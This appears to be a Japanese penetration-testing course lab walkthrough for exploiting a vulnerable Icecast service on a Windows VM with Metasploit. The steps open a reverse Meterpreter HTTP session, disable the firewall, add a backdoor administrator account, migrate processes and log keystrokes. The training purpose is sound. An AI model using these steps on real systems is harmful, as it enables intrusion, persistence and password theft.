Skip to content

Lab 2.2: Metasploit と Meterpreter

オフライン演習

接続性: これはオフライン演習です。この演習では対象ネットワークに接続する必要はありません。

目的

このラボでは、Metasploit を使用して、Windows マシンに一時的に配置した脆弱なサービスにこの柔軟なペイロードを配信し、Meterpreter を分析します。具体的には、バッファオーバーフロー脆弱性を持つインターネットマルチメディアストリーミングサーバーである Icecast サービス(バージョン 2.0.0)を悪用します。Metasploit ペイロードは、reverse_tcp ステージャを介してロードされる Meterpreter ステージで構成され、侵害されたマシンから攻撃者への接続を確立します。

ラボの手順

このラボは完全に自分のシステム上で実行します。Windows マシン上の脆弱な Icecast サービスが Linux 仮想マシンによって悪用されます。スライドでは、このラボのステップ 1 から 4 を示しています。ラボ全体を通して、これらのステップ番号が適用されることに注意してください。

ステップ 1: Icecast を悪用するように Metasploit を設定します。

ステップ 2: 対象サービスを悪用し、Meterpreter ステージとともに reverse_tcp ステージャをペイロードとして送信します。

ステップ 3: Icecast のメモリ空間内で実行されている Meterpreter を使用し、攻撃者への逆方向 TCP 接続を確立します。

ステップ 4: 侵害されたマシンの Icecast プロセス内で実行されている Meterpreter と対話します。

概要

ウォークスルービデオ

ラボのセットアップ

使用する仮想マシン:

  • Linux
  • Windows

このラボでは、Windows マシンを攻撃し、Meterpreter を実行させます。脆弱なサーバーを実行します。このラボでは、VPN から切断することをお勧めします。

次に、Linux で以下を実行します:

コマンド

ping -c 4 WINDOWS_ETHERNET0_ADDRESS

WINDOWS_ETHERNET0_ADDRESS を置き換えてください!

WINDOWS_ETHERNET0_ADDRESS を Windows VM のローカルアドレス(10.254.25X.X のようなアドレスではなく)に置き換えてください。

Linux から Windows ホストに正常に ping できれば、開始する準備が整いました。

ラボ – ステップバイステップの手順

1: Linux 上の Metasploit

Linux 仮想マシンに移動します。ステップ 1 では、Metasploit を実行し、Icecast サービスを悪用するように設定します。以下のコマンドを使用して Metasploit を起動します:

コマンド

msfconsole

msfconsole を起動すると、いくつかの質問に答えるよう求められる場合があります。

  1. 最初のプロンプトで Enter キーを押してデフォルトを受け入れます
  2. 2 番目のプロンプトで yes と入力します

想定される結果

sec560@slingshot:~$ msfconsole
[?] Would you like to init the webservice? (Not Required) [no]: <press enter>
[?] Would you like to delete your existing data and configurations? []: yes
Clearing http web data service credentials in msfconsole
Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at /home/sec560/.msf4/db...success

... trimmed for brevity ...

msf6 >

コマンドプロンプトが Metasploit Framework コンソールプロンプト(msf6 >)になったことに注意してください。msf プロンプトで、Metasploit に対話的にコマンドを発行します。利用可能なすべてのエクスプロイトモジュールを表示するように指示します。

コマンド

show exploits

想定される結果

msf6 > show exploits

Exploits
========

   #     Name                                Disclosure Date  Rank       Check  Description
   -     ----                                ---------------  ----       -----  -----------
   0     exploit/aix/local/ibstat_path       2013-09-24       excellent  Yes    ibstat $PATH Privilege Escalation
   1     exploit/aix/local/xorg_x11_server   2018-10-25       great      Yes    Xorg X11 Server Local Privilege Escalation
   2     exploit/aix/rpc_cmsd_opcode21       2009-10-07       great      No     AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
   ... trimmed for brevity ...
   2271  exploit/windows/wins/ms04_045_wins  2004-12-14       great      Yes    MS04-045 Microsoft WINS Service Memory Overwrite

Metasploit には 2,400 以上のエクスプロイトがあることがわかります!

Windows 上の Icecast を悪用します。そのエクスプロイトを検索しましょう。

コマンド

search icecast

想定される結果

msf6 > search icecast

Matching Modules
================

#  Name                                 Disclosure Date  Rank   Check  Description
-  ----                                 ---------------  ----   -----  -----------
0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

「great」というランクの icecast_header という Windows 用のエクスプロイトが表示されるはずです。

次にエクスプロイトを選択します。インストールした Icecast のバージョンに適用される Icecast Header バッファオーバーフローエクスプロイトを使用します:

コマンド

use exploit/windows/http/icecast_header

想定される結果

msf6 > use exploit/windows/http/icecast_header
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) >

プロンプトが変更され、選択したエクスプロイトの名前が含まれるようになったことに注意してください。また、ペイロードがすでに選択されていることがわかります。脆弱なプロセス内で実行された後、攻撃者への逆方向 HTTP 接続(直接 TCP ではなく)を確立する別の Meterpreter ペイロードを使用しましょう。

ペイロードを windows/meterpreter/reverse_http に設定します。

コマンド

set PAYLOAD windows/meterpreter/reverse_http

想定される結果

msf6 > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http

次に、このエクスプロイトに関連するオプションを見てみましょう:

コマンド

show options

想定される結果

msf6 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki
                                      /Using-Metasploit
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_http):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.2.80     yes       The local listener hostname
   LPORT     8080             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Automatic

最初に設定するオプションは RHOSTS です。これは、Metasploit に攻撃させたい IP アドレスです。脆弱な Icecast サービスを実行している Windows マシンの IP アドレスを入力する必要があります。tun0 アドレスではなく、Ethernet0 IP アドレスを使用してください。探しているアドレスは 10.254.25X.X で始まりません。

RHOSTS オプションを Windows Ethernet0 インターフェースの IP アドレスに設定します。

コマンド

set RHOSTS WINDOWS_ETHERNET0_ADDRESS

WINDOWS_ETHERNET0_ADDRESS を置き換えてください!

WINDOWS_ETHERNET0_ADDRESS を Windows VM のローカルアドレス(10.254.25X.X のようなアドレスではなく)に置き換えてください。

Meterpreter リバースシェルが接続する場所を Metasploit に指示する必要があります。Linux マシンに接続させたいと考えています(eth0 インターフェースのアドレスを使用します)。

LHOST を Linux システムの eth0 インターフェースの IP アドレスに設定します。以下に示すように、LHOST をインターフェース名として設定することは、Metasploit がそのインターフェースに関連付けられた IP アドレスを使用するショートカットです。

コマンド

set LHOST eth0

Metasploit が設定されました。show options で Metasploit の設定を確認しましょう。

コマンド

show options

想定される結果

msf6 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

Name    Current Setting  Required  Description
----    ---------------  --------  -----------
RHOSTS  192.168.2.211    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_http):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.2.80     yes       The local listener hostname
LPORT     8080             yes       The local listener port
LURI                       no        The HTTP Path


Exploit target:

Id  Name
--  ----
0   Automatic


msf6 exploit(windows/http/icecast_header) >

攻撃の準備はほぼ整いましたが、まず少し準備が必要です。

次に、Windows マシン上で Icecast サーバーを起動する必要があります。

デスクトップ上の Icecast アイコンを 右クリック し、管理者として実行 を選択します。

Icecast を管理者として実行

ポップアップ表示されるユーザーアカウント制御(UAC)ウィンドウで OK をクリックします。

Icecast の GUI が表示されたら、Start Server ボタンをクリックします。Server Status 表示が緑色に変わり、Running と表示されるはずです。

Icecast を起動

Icecast が実行中

Windows が逆方向 Meterpreter シェルで Linux マシンに確実に到達できるようにするために、Windows が Linux に ping できることを確認しましょう。Windows デスクトップの Terminal ショートカットを開き、次を実行します:

コマンド

ping LINUX_ETH0_ADDRESS

LINUX_ETH0_ADDRESS を置き換えてください!

LINUX_ETH0_ADDRESS を Linux VM の eth0 インターフェースのアドレス(tun0 上の 10.254.25X.X のようなアドレスではなく)に置き換えてください。

ping が正常に機能すれば、準備完了です。機能しない場合は、ネットワーク設定を再確認してください。

2: 攻撃を開始する

攻撃を開始しましょう!Linux マシンで、msf プロンプトで run と入力し、Enter キーを押します:

エクスプロイトが成功すると、Linux に「Meterpreter session X opened」というメッセージが表示されます。

コマンド

run

想定される結果

msf6 exploit(windows/http/icecast_header) > run

[*] Started HTTP reverse handler on http://10.10.10.186:8080
[*] http://10.10.10.186:8080 handling request from 10.10.10.165; (UUID: ty4kaax1) Staging x86 payload (177244 bytes) ...
[*] Meterpreter session 1 opened (10.10.10.186:8080 -> 10.10.10.165:28796) at 2024-08-14 23:10:29 +0000

meterpreter > 

セッションが開かれました

エクスプロイトが機能し、meterpreter > プロンプトが表示された場合は、以下のステップ 3 に進んでください。

セッションが作成されない場合(クリックして展開)

成功しなかった場合、Metasploit が Icecast を悪用する際、Icecast がクラッシュする可能性があることに注意してください。ほとんどのエクスプロイトには一定の成功確率があり、100% には満たないことを覚えておいてください。Icecast エクスプロイトは成功確率が高いため使用していますが、時々プログラムがクラッシュします。

Windows マシンに Icecast がクラッシュしたというメッセージが表示された場合は、単純に再実行してください。これを行うには、Windows 上の Icecast GUI を閉じます。次に、Windows デスクトップで右クリックし、管理者として実行 をクリックして(プロンプトが表示されたらユーザーアカウント制御ウィンドウで はい をクリック)Icecast を再実行します。Start Server ボタンを再度クリックし、Server Status ボックスが緑色になり「Running」と表示されるのを確認してください。

Icecast がクラッシュしなかったがエクスプロイトが失敗した場合は、Linux システムの正しい LHOST IP アドレスを持っていることを確認してください。

Metasploit が Icecast に到達できなかった場合(Exploit failed [unreachable]: Rex::ConnectionTimeout のようなエラー)、Windows ファイアウォールが誤って再有効化された可能性があります。Windows マシンの管理者ターミナルで netsh advfirewall set allprofiles state off を実行してから、再度試してください。

次に、Metasploit コンソールで run コマンドを再度実行してみてください。

3: セッション

meterpreter > プロンプトは、Meterpreter にいることを示しています。Metasploit で他のアクションを実行したい場合は、まず background と入力するか、CTRL+z を押してセッションをバックグラウンド化する必要があります。

background と入力して Metasploit コンソールに戻ります。

コマンド

background

想定される結果

meterpreter > background
[*] Backgrounding session 1..
msf6 exploit(windows/http/icecast_header) >

セッション番号は異なる場合があります

msf6 プロンプトでは、侵害されたホスト上の Meterpreter ではなく、Metasploit と対話しています。sessions を見てみましょう。

コマンド

sessions

想定される結果

msf6 exploit(windows/http/icecast_header) > sessions

Active sessions
===============

Id  Name  Type                     Information                             Connection
--  ----  ----                     -----------                             ----------
1         meterpreter x86/windows  SEC560-WINDOWS\sec560 @ SEC560-WINDOWS  10.10.10.186:8080 -> 10.10.10.165:28796 (10.10.10.1)

この場合、セッションが 1 であることがわかります。あなたのものは異なる可能性があります。

番号付きセッションは便利ですが、複数のシェルを持つことになり、番号を覚えるのが難しくなる可能性があります。セッションをより覚えやすい名前に変更できます。セッションの名前を変更するには、-n newname-i ID で現在のセッション番号を使用する必要があります。

コマンド

sessions -n icecast_win11 -i 1
sessions

想定される結果

msf6 exploit(windows/http/icecast_header) > sessions -n icecast_win11 -i 1
[*] Session 1 named to icecast_win11
msf6 exploit(windows/http/icecast_header) > sessions 

Active sessions
===============

Id  Name           Type                     Information                             Connection
--  ----           ----                     -----------                             ----------
1   icecast_win11  meterpreter x86/windows  SEC560-WINDOWS\sec560 @ SEC560-WINDOWS  10.10.10.186:8080 -> 10.10.10.165:28796 (10.10.10.165)

セッション ID

セッション ID は異なる番号になる可能性があります

では、セッションと対話しましょう。

コマンド

sessions -i 1

想定される結果

msf6 exploit(windows/http/icecast_header) > sessions -i 1
[*] Starting interaction with icecast_win11...

meterpreter > 

4: Meterpreter

Meterpreter セッションと対話するためにステップ 4 に移る際、見ているアーキテクチャを確認しましょう。Metasploit を実行している Linux マシン上で Meterpreter セッションを表示しています。そのセッションは実際には Windows マシンを制御しており、Meterpreter は Icecast プロセス内で実行されています。

Meterpreter が実行されている状態で、システムを少し探索しましょう。次のコマンドを実行します:

コマンド

sysinfo

想定される結果

meterpreter > sysinfo
Computer        : SEC560-WINDOWS
OS              : Windows 11 (10.0 Build 26100).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

これは侵害されたマシンのオペレーティングシステムを示しています。

次に、被害者マシン上のユーザー名を確認しましょう:

コマンド

getuid

想定される結果

meterpreter > getuid
Server username: SEC560-WINDOWS\sec560

Icecast サーバーを起動するために使用したものと同じユーザー名になっているはずです。なぜなら、そのメモリ空間内から実行しているためです。

次に、画面上で実行されているプロセスを見てみましょう:

コマンド

ps

想定される結果

meterpreter > ps

Process List
============

PID   PPID  Name                          Arch  Session  User                          Path
---   ----  ----                          ----  -------  ----                          ----
0     0     [System Process]
4     0     System                        x64   0
124   4     Registry                      x64   0
396   4     smss.exe                      x64   0
580   568   csrss.exe                     x64   0
584   828   svchost.exe                   x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
680   568   wininit.exe                   x64   0
688   672   csrss.exe                     x64   1
776   672   winlogon.exe                  x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
828   680   services.exe                  x64   0
836   680   lsass.exe                     x64   0
860   828   svchost.exe                   x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
888   972   RuntimeBroker.exe             x64   1        SEC560-WINDOWS\sec560         C:\Windows\System32\RuntimeBroker.exe
 ... truncated for brevity ...

プロセス ID は異なります

プロセス ID は上記に示されたものとは異なります。

ヘルプを見て、ps コマンドで利用できるオプションを見てみましょう。

コマンド

ps -h

想定される結果

meterpreter > ps -h
Usage: ps [ options ] pattern

Use the command with no arguments to see all running processes.
The following options can be used to filter those results:

OPTIONS:

    -A <opt>  Filter on architecture
    -c        Filter only child processes of the current shell
    -h        Help menu.
    -S <opt>  Filter on process name
    -s        Filter only SYSTEM processes
    -U <opt>  Filter on user name
    -x        Filter for exact matches rather than regex

-S を使用して Icecast2 プロセスを見つけましょう。

コマンド

ps -S Icecast2.exe

想定される結果

meterpreter > ps -S Icecast2.exe
Filtering on 'Icecast2.exe'

Process List
============

PID   PPID  Name          Arch  Session  User                   Path
---   ----  ----          ----  -------  ----                   ----
9732  2484  Icecast2.exe  x86   1        SEC560-WINDOWS\sec560  C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe

最後に、利用可能な Meterpreter コマンドを見てみましょう:

コマンド

help

では、ファイルシステムと対話するためのいくつかのコマンドを探索しましょう。まず、c:\ ディレクトリに移動します。Meterpreter は Linux/Unix スタイルの表記を使用する傾向があるため、フォルダ間の区切り文字として使用されるバックスラッシュ文字(\)が問題になります。この問題を回避するには、3 つのオプションがあります:

  1. ディレクトリパスを参照するためにフォワードスラッシュ(/)を使用する
  2. バックスラッシュを示すためにバックスラッシュのエスケープシーケンス(\\)を使用する
  3. パス全体を単一引用符で囲む(バックスラッシュをエスケープする必要はありません)

したがって、c:\ ディレクトリに変更するには、次を実行してください:

コマンド

cd 'c:\'

Meterpreter 内では、c:\/ として参照することもできることに注意してください。したがって、cd c:\\cd / コマンドは同じことを行います。

次に、ディレクトリ構造内のどこにいるかを確認しましょう。特定のコマンドは、実行している Meterpreter のバージョンによって異なります。Linux と同様に、コマンドは pwd です。

コマンド

pwd

想定される結果

meterpreter > pwd
c:\

次にディレクトリ一覧を取得しましょう:

コマンド

ls

想定される結果

meterpreter > ls
Listing: c:\
============

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
040777/rwxrwxrwx  0      dir   2024-08-13 02:03:56 +0000  $Recycle.Bin
040777/rwxrwxrwx  0      dir   2024-08-13 18:58:04 +0000  Config.Msi
040777/rwxrwxrwx  4096   dir   2024-08-13 21:12:21 +0000  CourseFiles
... truncated for brevity ...

5: シェル

対象マシンで実行したいことは、Meterpreter 内からよりも、cmd.exe のようなシンプルな Windows シェルを使用する方が簡単な場合があります。そのようなアクセスをサポートするために、Meterpreter には cmd.exe を実行する shell コマンドが含まれています。Meterpreter プロンプトから shell コマンドを実行することで、この便利な機能を確認できます:

コマンド

shell

想定される結果

meterpreter > shell
Process 7968 created.
Channel 1 created.
Microsoft Windows [Version 10.0.26100.1301]
(c) Microsoft Corporation. All rights reserved.

c:\>
エラーが発生した場合(クリックして展開)

shell コマンドが機能しなかった場合は、代わりに execute コマンドを使用してプログラムを実行できます。cmd.exe コマンドシェルを実行しましょう。-c オプションで「チャネル化」して起動します。これは、Meterpreter が実行されたプログラムとの通信セッションを開いたままにし、対話できるようにすることを意味します。

コマンド

execute -f cmd.exe -c -H

想定される結果

meterpreter > execute -f cmd.exe -c -H
Process 4292 created.
Channel 2 created.
meterpreter >

チャネル番号に注意してください

プログラムの実行が成功すると、Meterpreter はプロセス ID と、プロセスの標準入力および標準出力と対話するために使用できるチャネル番号を通知します。チャネル番号で interact を使用するか、次のように channel -i N とチャネル番号を使用して、そのような対話を実行できます。

コマンド

channel -i N

想定される結果

meterpreter > channel -i 2
Interacting with channel 2...

Microsoft Windows [Version 10.0.26100.1301]
(c) Microsoft Corporation. All rights reserved.

c:\>

N は、execute コマンドの出力で確認したチャネル番号(プロセス ID ではない)に置き換える必要があります。

実行中に cmd.exe ウィンドウが Windows GUI に表示されたことに注意してください。プログラムを非表示モードで実行するには、execute コマンドを「hidden」の -H オプションで実行できます。

これで、cmd.exe 内で任意のコマンドを入力できます。

これで、cmd.exe 内で任意のコマンドを入力できます。

hostname を実行します。

コマンド

hostname

想定される結果

c:\> hostname
hostname
SEC560-Windows

ipconfig を実行します。

コマンド

ipconfig

想定される結果

c:\> ipconfig  
ipconfig

Windows IP Configuration


Unknown adapter OpenVPN Data Channel Offload:

Connection-specific DNS Suffix  . : 
Link-local IPv6 Address . . . . . : fe80::b88d:53d1:3cce:5ae4%6
IPv4 Address. . . . . . . . . . . : 10.254.252.2
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : 

Unknown adapter OpenVPN Wintun:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix  . : 

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix  . : localdomain
Link-local IPv6 Address . . . . . : fe80::dc2a:6612:843e:eac0%4
IPv4 Address. . . . . . . . . . . : 10.10.10.165
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2

Unknown adapter OpenVPN TAP-Windows6:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix  . : 

dir を実行します。

コマンド

dir

想定される結果

c:\> dir
dir
Volume in drive C is Windows
Volume Serial Number is BE08-62CA

Directory of c:\

08/13/2024  02:18 PM    <DIR>          bin
08/13/2024  02:12 PM    <DIR>          CourseFiles
08/12/2024  07:26 PM    <DIR>          inetpub
04/01/2024  12:26 AM    <DIR>          PerfLogs
08/13/2024  02:07 PM    <DIR>          Program Files
08/13/2024  02:07 PM    <DIR>          Program Files (x86)
08/12/2024  07:23 PM    <DIR>          Python311
08/12/2024  07:59 PM    <DIR>          tmp
08/13/2024  02:01 PM    <DIR>          Users
08/13/2024  02:07 PM    <DIR>          Windows
            0 File(s)              0 bytes
            10 Dir(s)  52,628,938,752 bytes free

次に、システム上のユーザーを確認しましょう。

コマンド

net user

想定される結果

c:\> net user
net user

User accounts for \\SEC560-WINDOWS

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
notadmin                 sec560                   WDAGUtilityAccount       
The command completed successfully.

BACKDOOR という名前のバックドアアカウントを作成します。

コマンド

net user BACKDOOR Password1 /add

想定される結果

c:\> net user BACKDOOR Password1 /add
net user BACKDOOR Password1 /add
The command completed successfully.

上記のコマンドは、パスワード Password1 のユーザーを作成します。

次に、ユーザーが存在することを確認しましょう。

コマンド

net user BACKDOOR

想定される結果

c:\>net user BACKDOOR
net user BACKDOOR
User name                    BACKDOOR
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            8/14/2024 4:21:39 PM
Password expires             Never
Password changeable          8/14/2024 4:21:39 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Users                
Global Group memberships     *None                 
The command completed successfully.

新しい BACKDOOR アカウントは通常のアカウントです。管理者権限があればより便利です。このアカウントを管理者にしましょう。

コマンド

net localgroup administrators BACKDOOR /add

想定される結果

C:\> net localgroup administrators BACKDOOR /add
net localgroup administrators BACKDOOR /add
The command completed successfully.

次に、administrators グループのメンバーを確認して、バックドアアカウントが管理者であることを確認します。

コマンド

net localgroup administrators

想定される結果

c:\> net localgroup administrators
net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
BACKDOOR
sec560
The command completed successfully.

ご覧のとおり、新しいアカウントは管理者です!

アカウントを削除しましょう。

コマンド

net user BACKDOOR /del

想定される結果

C:\> net user BACKDOOR /del
net user BACKDOOR /del
The command completed successfully.

net user を再度実行することで削除を確認できます。スペースの都合上、出力はここには含まれていません。

シェルを終了するには、単に exit と入力すると、meterpreter > プロンプトに戻るはずです:

コマンド

exit

想定される結果

C:\> exit
meterpreter >

6: その他の Meterpreter 機能

次に、侵害されたシステムのスクリーンショットを取得し、/tmp/screen.jpg として保存します:

コマンド

screenshot -p /home/sec560/screenshot.jpg

想定される結果

meterpreter > screenshot -p /home/sec560/screenshot.jpg
Screenshot saved to: /home/sec560/screenshot.jpg

Meterpreter がスクリーンショットを取得します。これには数秒かかる場合があります。

次に、Linux VM のデスクトップにある sec560's Home ショートカットをクリックしてフォルダウィンドウを起動します。screenshot.jpg ファイルをダブルクリックします。

Windows VM のコンソールを示すスクリーンショットが表示されるはずです。

Meterpreter スクリーンショット

次に、侵害されたマシン上の Meterpreter DLL をあるプロセスから別のプロセスに移行します。Icecast2.exe プロセスから Windows マシン上の explorer.exe プロセスにジャンプします。explorer.exe を使用するのは、ユーザーがログインしている限り通常実行され続けるためです。

次に、Meterpreter 内に戻り、現在のプロセス ID 番号を取得します。

コマンド

getpid

次に、Explorer のプロセス ID を見つけるためにプロセスリストを取得します。-S(大文字の S)オプションを付けた ps コマンドを使用して検索できます。

コマンド

ps -S explorer.exe

想定される結果

meterpreter > ps -S explorer.exe
Filtering on 'explorer.exe'

Process List
============

PID   PPID  Name          Arch  Session  User                   Path
---   ----  ----          ----  -------  ----                   ----
2484  1468  explorer.exe  x64   1        SEC560-WINDOWS\sec560  C:\Windows\explorer.exe

プロセス ID で explorer.exe プロセスにジャンプすることも、-N オプションで名前を指定することもできます。

次に、そのプロセスにジャンプするために、migrate コマンドを使用します。ここでは、より便利なプロセス名で移行するために -N オプションを使用しています。

コマンド

migrate -N explorer.exe

想定される結果

meterpreter > migrate -N explorer.exe
[*] Migrating to XXXX...
[*] Migration completed successfully.
meterpreter >

移行には数秒かかる場合があります。成功すると、その旨のメッセージが表示されます。

移行が失敗した場合(クリックして展開)

移行が失敗した場合(失敗する可能性が高い)、Meterpreter セッションを再確立する必要があります。まず、exit と入力して既存のセッションを終了します。次に、Icecast が実行されていることを確認し、再度 run と入力します。

コマンド

getpid

想定される結果

meterpreter > getpid
Current pid: XXXX

explorer.exe に関連付けられた番号になっているはずです。そうであれば、プロセス間をジャンプしたことになります。移行はバグが発生する可能性があります。対象プロセスがクラッシュした場合、それは問題ありません。CTRL-C または exit コマンドで死んだ Meterpreter セッションを終了して、対象システムを再度悪用できます。次に Icecast を再起動します。msf > プロンプトで、run コマンドを再実行します。

7: キーストロークロギング

Windows VM で Notepad を起動します(Meterpreter 経由ではありません)。WIN+R を押し、実行メニューに「notepad」と入力します。GUI でスタートメニューをクリックし、「notepad」と入力して OK をクリックします。

Linux VM と meterpreter セッションに戻り、keyscan_start コマンドを実行します。

コマンド

keyscan_start

想定される結果

meterpreter > keyscan_start
Starting the keystroke sniffer ...

次に、Windows で Notepad にテキストを入力します。パスワードに関するメモ(例: my password is Re@llyL0ngP@ssw0rd!)を入力します。

次に Meterpreter に戻り、キャプチャされたキーストロークを画面にダンプします。

コマンド

keyscan_dump

想定される結果

meterpreter > keyscan_dump
Dumping captured keystrokes...
my password is <Right Shift>Re<Right Shift>@lly<Shift>L0ng<Right Shift>P@ssw0rd<Right Shift>!

次にキーストロークロガーを停止します:

コマンド

keyscan_stop

想定される結果

meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter >

コマンド

exit

ラボを完了するには、Windows VM で Notepad と Icecast を閉じます。次に、Meterpreter セッションと Metasploit を完全に終了します。

結論

このラボでは、脆弱なリスニングサービスに対して使用されるサービス側エクスプロイトを確認しました。Metasploit を使用してその欠陥を悪用することで、reverse_http ステージャを持つ Meterpreter ペイロードを対象マシンのメモリにロードすることができました。次に、ファイルシステムの探索、プログラム(shell など)の実行、プログラムの標準入力と標準出力間の通信チャネルの提供、スクリーンショットの取得、プロセスの移行、キーストロークのログなど、Meterpreter の多数の機能を探索しました。確かに、Meterpreter はペネトレーションテスターの武器庫における非常に強力なペイロードコンポーネントです。